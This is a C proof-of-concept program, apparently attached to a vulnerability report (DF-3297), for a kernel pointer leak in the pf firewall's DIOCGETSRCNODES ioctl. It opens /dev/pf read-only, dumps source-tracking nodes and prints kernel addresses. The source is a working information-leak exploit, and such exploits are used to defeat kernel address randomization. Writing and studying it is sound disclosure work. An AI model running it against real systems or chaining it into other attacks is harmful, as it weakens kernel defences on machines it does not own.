/*
 * DF-3297 — DIOCGETSRCNODES copies struct pf_src_node to userland with
 * raw kernel pointers intact (pf_ioctl.c:2884 bcopy + 2902 copyout).
 * Only pstore->rule.nr is sanitized; leaked verbatim:
 *   entry.rbe_left / rbe_right / rbe_parent(+color)  (RB tree pointers)
 *   rule.ptr (union pf_rule_ptr -> struct pf_rule *)
 *   kif (struct pfi_kif *)
 * DIOCGETSRCNODES is in the FREAD-allowed set (pf_ioctl.c:1069), i.e.
 * reachable through a read-only /dev/pf fd wherever devfs grants one.
 *
 * Setup: one source-tracking rule (max-src-states) + a couple of states,
 * then dump the src nodes and print every kernel-pointer-looking qword.
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <net/if.h>
#include <net/pf/pfvar.h>

int
main(void)
{
	struct pfioc_src_nodes psn;
	char *buf;
	int dev, i, n;

	dev = open("/dev/pf", O_RDONLY);	/* read-only is enough */
	if (dev == -1) {
		perror("open /dev/pf");
		return (2);
	}
	memset(&psn, 0, sizeof(psn));
	psn.psn_len = 0;
	if (ioctl(dev, DIOCGETSRCNODES, &psn) == -1) {
		perror("DIOCGETSRCNODES(size)");
		return (2);
	}
	if (psn.psn_len == 0) {
		fprintf(stderr, "no src nodes; load a max-src-states rule "
		    "and create states first\n");
		return (1);
	}
	buf = malloc(psn.psn_len);
	psn.psn_src_nodes = (struct pf_src_node *)buf;
	if (ioctl(dev, DIOCGETSRCNODES, &psn) == -1) {
		perror("DIOCGETSRCNODES(dump)");
		return (2);
	}
	n = psn.psn_len / sizeof(struct pf_src_node);
	printf("%d src node(s), sizeof(pf_src_node)=%zu\n", n,
	    sizeof(struct pf_src_node));
	for (i = 0; i < n; i++) {
		unsigned long long *q = (unsigned long long *)
		    (buf + i * sizeof(struct pf_src_node));
		size_t j, nq = sizeof(struct pf_src_node) / 8;
		printf("node %d:\n", i);
		for (j = 0; j < nq; j++)
			if (q[j])
				printf("  +%04zx: 0x%016llx%s\n", j * 8, q[j],
				    (q[j] >> 47) ? "   <-- kernel pointer" : "");
	}
	return (0);
}
